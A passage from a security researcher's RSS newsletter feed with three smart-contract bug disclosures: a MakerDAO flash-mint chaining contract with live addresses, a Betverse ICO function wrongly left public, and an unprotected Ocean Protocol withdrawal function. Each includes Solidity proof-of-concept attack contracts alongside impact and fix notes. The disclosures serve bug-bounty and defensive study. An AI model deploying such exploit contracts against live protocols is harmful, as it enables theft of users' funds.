    function onFlashLoan(address caller, address token, uint amt, uint fee, bytes calldata _data) external returns (bytes32) {
        //Flashloan action
        flashAction();
        return keccak256(&quot;ERC3156FlashBorrower.onFlashLoan&quot;);
    }
    
    function flashAction() public returns(bool) {
        //Some Flash Loan action with 500M Dai Tokens.
        return true;
    }


}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IFlashlegacy</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> receiver,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IFlash</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">vatDaiFlashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> receiver,         
        <span class="hljs-keyword">uint256</span> amount,                      
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data                     
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDaiJoin</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">join</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> usr, <span class="hljs-keyword">uint</span> wad</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exit</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> usr, <span class="hljs-keyword">uint</span> wad</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IVat</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">move</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> src, <span class="hljs-keyword">address</span> dst, <span class="hljs-keyword">uint</span> wad</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">heal</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> wad</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hope</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> usr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDAI</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint</span> amt</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> usr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}


<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">exploit</span> </span>{
    IFlashlegacy fl <span class="hljs-operator">=</span> IFlashlegacy(<span class="hljs-number">0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853</span>);
    IFlash f <span class="hljs-operator">=</span> IFlash(<span class="hljs-number">0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA</span>);
    IDaiJoin dj <span class="hljs-operator">=</span> IDaiJoin(<span class="hljs-number">0x9759A6Ac90977b93B58547b4A71c78317f391A28</span>);
    IVat v <span class="hljs-operator">=</span> IVat(<span class="hljs-number">0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B</span>);
    IDAI dai <span class="hljs-operator">=</span> IDAI(<span class="hljs-number">0x6B175474E89094C44Da98b954EedeAC495271d0F</span>);

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> receiver <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>);
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> token <span class="hljs-operator">=</span> <span class="hljs-number">0x6B175474E89094C44Da98b954EedeAC495271d0F</span>;
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">public</span> data <span class="hljs-operator">=</span> <span class="hljs-string">""</span>;


    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashborrow</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        v.hope(<span class="hljs-number">0x9759A6Ac90977b93B58547b4A71c78317f391A28</span>);
        dai.approve(<span class="hljs-keyword">address</span>(fl), <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
        dai.approve(<span class="hljs-keyword">address</span>(dj), <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
        <span class="hljs-comment">//Calling latest Deployment of Flash mint</span>
        f.vatDaiFlashLoan(receiver, <span class="hljs-number">250000000000000000000000000000000000000000000000000000</span>, data);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onVatDaiFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> caller, <span class="hljs-keyword">uint</span> amt, <span class="hljs-keyword">uint</span> fee, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> _data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
        <span class="hljs-comment">//Minting DAI</span>
        dj.exit(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-number">250000000000000000000000000</span>);
        <span class="hljs-comment">//Taking another 250 Million Dai from Flash legacy.</span>
        fl.flashLoan(receiver, token, <span class="hljs-number">250000000000000000000000000</span>, data);
        dj.join(<span class="hljs-keyword">address</span>(f), <span class="hljs-number">250000000000000000000000000</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"VatDaiFlashBorrower.onVatDaiFlashLoan"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> caller, <span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint</span> amt, <span class="hljs-keyword">uint</span> fee, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> _data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
        <span class="hljs-comment">//Flashloan action</span>
        flashAction();
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"ERC3156FlashBorrower.onFlashLoan"</span>);
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashAction</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-comment">//Some Flash Loan action with 500M Dai Tokens.</span>
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }


}
</code></pre><h3 id="h-impact" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Impact:</h3><ul><li><p>It introduces several risks due to the higher volume of mining and burning of Dai Tokens.</p></li><li><p>There is a cause for the token-economic imbalance of DAI supply.</p></li><li><p>It can lead to attacks on Defi and Dex Price Manipulation.</p></li><li><p>Such a high volume of flash loans ends with significant risks.</p></li></ul><h3 id="h-recommendations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Recommendation(s):</h3><p>I suggest, decreasing the limit for the Flash loan contract. 250 million is also a high volume on both contracts. Set the safest limit of DAI to be minted.</p>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/be0cd9f8dcce5216addc65fcb352a5818ab88d29c38b1110b342f4aa45fc3d21.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Incorrect Function visibility leads to the Stealing of Betverse ICO Tokens.]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/incorrect-function-visibility-leads-to-the-stealing-of-betverse-ico-tokens</link>
            <guid>d1jg5s2uGQxH5sNiTrJl</guid>
            <pubDate>Sun, 19 Mar 2023 13:50:05 GMT</pubDate>
            <description><![CDATA[A critical vulnerability was discovered in one of the Testnet projects on the Immunefi Platform, the Betverse ICO Token contract’s transferTokenToLockedAddresses() function. The vulnerability was caused by mistakenly marking this function as public when it should have been an internal function. This mistake enabled anyone to transfer a specified amount of BToken (amount.div(term)) to the attacker&apos;s time lock address. Repeating this attack could lead to the sweeping of the BToken balance ...]]></description>
            <content:encoded><![CDATA[<p>A critical vulnerability was discovered in one of the Testnet projects on the Immunefi Platform, <strong>the Betverse</strong> ICO Token contract’s <code>transferTokenToLockedAddresses()</code> function. The vulnerability was caused by mistakenly marking this function as public when it should have been an internal function. This mistake enabled anyone to transfer a specified amount of BToken (amount.div(term)) to the attacker&apos;s time lock address. Repeating this attack could lead to the sweeping of the BToken balance of the ICOToken contract.</p><pre data-type="codeBlock" text="function transferTokenToLockedAddresses(
    address to,
    uint256 amount,
    uint256 usdAmountInWei,
    IERC20Metadata usd
) public {
    address[] memory lockedAddresses;
    sales[to] = Sale(to, amount, lockedAddresses, usd.symbol(), usdAmountInWei, block.timestamp, address(usd));
    uint256 currentDate = block.timestamp;
    for (uint256 i = 1; i &lt;= term; i++) {
        currentDate = currentDate.add(365 days); // It will start releasing it in one year
        TokenTimelock timeLockContract = new TokenTimelock(token, to, currentDate);

        token.transfer(address(timeLockContract), amount.div(term));
        sales[to].lockedAddress.push(address(timeLockContract));
    }
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferTokenToLockedAddresses</span>(<span class="hljs-params">
    <span class="hljs-keyword">address</span> to,
    <span class="hljs-keyword">uint256</span> amount,
    <span class="hljs-keyword">uint256</span> usdAmountInWei,
    IERC20Metadata usd
</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> lockedAddresses;
    sales[to] <span class="hljs-operator">=</span> Sale(to, amount, lockedAddresses, usd.symbol(), usdAmountInWei, <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>, <span class="hljs-keyword">address</span>(usd));
    <span class="hljs-keyword">uint256</span> currentDate <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">1</span>; i <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> term; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        currentDate <span class="hljs-operator">=</span> currentDate.add(<span class="hljs-number">365</span> <span class="hljs-literal">days</span>); <span class="hljs-comment">// It will start releasing it in one year</span>
        TokenTimelock timeLockContract <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> TokenTimelock(token, to, currentDate);

        token.<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(timeLockContract), amount.div(term));
        sales[to].lockedAddress.<span class="hljs-built_in">push</span>(<span class="hljs-keyword">address</span>(timeLockContract));
    }
}
</code></pre><p><strong>Impact</strong></p><p>The vulnerability allows attackers to steal BToken from the ICO contract, which could result in them gaining more BToken for their timelock address. As a result, this could result in significant financial losses for the ICO contract and its users.</p><p><strong>Recommendation</strong></p><p>To address this vulnerability, the transferTokenToLockedAddresses() function should be marked as an internal function. By doing so, only authorized contracts will have access to this function, and attackers will no longer be able to exploit this vulnerability.</p><p><strong>Proof of Concept</strong></p><p>The attacker calls the <code>transferTokenToLockedAddresses()</code> function with arbitrary parameters repeatedly until the contract&apos;s token balance becomes 0. The following code demonstrates how an attacker can exploit this vulnerability:</p><pre data-type="codeBlock" text="pragma solidity ^0.8.0;

contract Attack {
    Iico ico = Iico(0x0000);
    Ibtoken btoken = Ibtoken(0x0001);
    function exploit() external {
        if( btoken.balanceOf(ico) &gt; 0 ) {
            ico.transferTokenToLockedAddresses(0xeeee, 1000, 100000, 0xusd);
        }
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack</span> </span>{
    Iico ico <span class="hljs-operator">=</span> Iico(<span class="hljs-number">0x0000</span>);
    Ibtoken btoken <span class="hljs-operator">=</span> Ibtoken(<span class="hljs-number">0x0001</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exploit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">if</span>( btoken.balanceOf(ico) <span class="hljs-operator">></span> <span class="hljs-number">0</span> ) {
            ico.transferTokenToLockedAddresses(<span class="hljs-number">0xeeee</span>, <span class="hljs-number">1000</span>, <span class="hljs-number">100000</span>, 0xusd);
        }
    }
}
</code></pre><p>In the above code, the <code>exploit()</code> function is used to call the transferTokenToLockedAddresses() function repeatedly until the contract&apos;s token balance becomes 0. The attack relies on the vulnerability of the <code>transferTokenToLockedAddresses()</code> function, which mistakenly appears as public.</p><p><strong>Conclusion</strong></p><p>In summary, the vulnerability in the transferTokenToLockedAddresses() function of the ICOToken contract on the Polygon network allowed attackers to steal BToken from the contract. The vulnerability was caused by mistakenly marking this function as public instead of an internal function. To mitigate this vulnerability, the <code>transferTokenToLockedAddresses()</code> function should be marked as an internal function. By doing so, only authorized contracts will have access to this function, and attackers will no longer be able to exploit this vulnerability.</p><p>Subscribe to stay tuned :)</p>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/8294051ab12b8e1b84a4f5fc6abb3d8862d6f0cb2025f2ebb87453b298326273.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Ocean Protocol | Unprotected owner Withdrawl function leads to Sweeping of Contract's datatoken Balance.]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/ocean-protocol-unprotected-owner-withdrawl-function-leads-to-sweeping-of-contract-s-datatoken-balance</link>
            <guid>bsB06dvu6ZrLs5iF1wOi</guid>
            <pubDate>Fri, 14 Oct 2022 14:40:35 GMT</pubDate>
            <description><![CDATA[Hello readers! This article showcases the medium-severity bug on the Ocean Protocol Dispenser contract, which allowed any user to call the ownerWithdraw() function and send the funds to the payment collector. By sending the funds to the payment collector address, the owner cannot make a successful dispense of data tokens to his destination address. Vulnerable Code: function ownerWithdraw(address datatoken) external nonReentrant { require( datatoken != address(0), 'Invalid token contract addre...]]></description>
            <content:encoded><![CDATA[<p>Hello readers! This article showcases the medium-severity bug on the Ocean Protocol Dispenser contract, which allowed any user to call the <code>ownerWithdraw()</code> function and send the funds to the payment collector.</p><p>By sending the funds to the payment collector address, the owner cannot make a successful dispense of data tokens to his destination address.</p><p><strong>Vulnerable Code:</strong></p><pre data-type="codeBlock" text="   function ownerWithdraw(address datatoken) external nonReentrant {
        require(
            datatoken != address(0),
            &apos;Invalid token contract address&apos;
        );
        _ownerWithdraw(datatoken);
}

    function _ownerWithdraw(address datatoken) internal {
        IERC20Template tokenInstance = IERC20Template(datatoken);
        address destination = tokenInstance.getPaymentCollector();
        uint256 ourBalance = tokenInstance.balanceOf(address(this));
        if(ourBalance&gt;0) {
            emit OwnerWithdrawed(datatoken, destination,ourBalance);
            IERC20(datatoken).safeTransfer(destination,ourBalance);
        }
}
"><code>   <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ownerWithdraw</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> datatoken</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">nonReentrant</span> </span>{
        <span class="hljs-built_in">require</span>(
            datatoken <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>),
            <span class="hljs-string">'Invalid token contract address'</span>
        );
        _ownerWithdraw(datatoken);
}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_ownerWithdraw</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> datatoken</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        IERC20Template tokenInstance <span class="hljs-operator">=</span> IERC20Template(datatoken);
        <span class="hljs-keyword">address</span> destination <span class="hljs-operator">=</span> tokenInstance.getPaymentCollector();
        <span class="hljs-keyword">uint256</span> ourBalance <span class="hljs-operator">=</span> tokenInstance.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        <span class="hljs-keyword">if</span>(ourBalance<span class="hljs-operator">></span><span class="hljs-number">0</span>) {
            <span class="hljs-keyword">emit</span> OwnerWithdrawed(datatoken, destination,ourBalance);
            IERC20(datatoken).safeTransfer(destination,ourBalance);
        }
}
</code></pre><p><strong>Impact</strong></p><p>This makes the dispenser contract unable to function. The owner of the data token is unable to dispense his funds whenever he wishes to dispense them to the desired address.</p><p><strong>Proof of Concept</strong></p><p>A simple call to <code>ownerWithdraw()</code> function showcases how to sweep the balance of the data token.</p><pre data-type="codeBlock" text="pragma solidity ^0.8.0;

interface IDispenser {
    function ownerWithdraw(address datatoken) external;
}

contract Exploit {
    IDispenser dispenser = IDispenser(DISPENSER_ADDRESS);
    function sweep() external {
        dispenser.ownerWithdraw(DATATOKEN_ADDRESS);
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDispenser</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ownerWithdraw</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> datatoken</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Exploit</span> </span>{
    IDispenser dispenser <span class="hljs-operator">=</span> IDispenser(DISPENSER_ADDRESS);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sweep</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        dispenser.ownerWithdraw(DATATOKEN_ADDRESS);
    }
}
</code></pre><p><strong>Fix</strong></p><p>That’s it! This is a relevant finding across web3 security that I have found in the growing protocol.</p><p>Thanks to @Immunefi for the disclosure process and @OceanProtocol for considering its security issue and rewarding $5000 bucks.</p><p>Follow me on Twitter and subscribe for more articles!</p><br>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/e29c5c559c7f1af0d615a9b06d5fc26f43b9d5913ea2e0f2ad8aa5bbcfb4758f.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>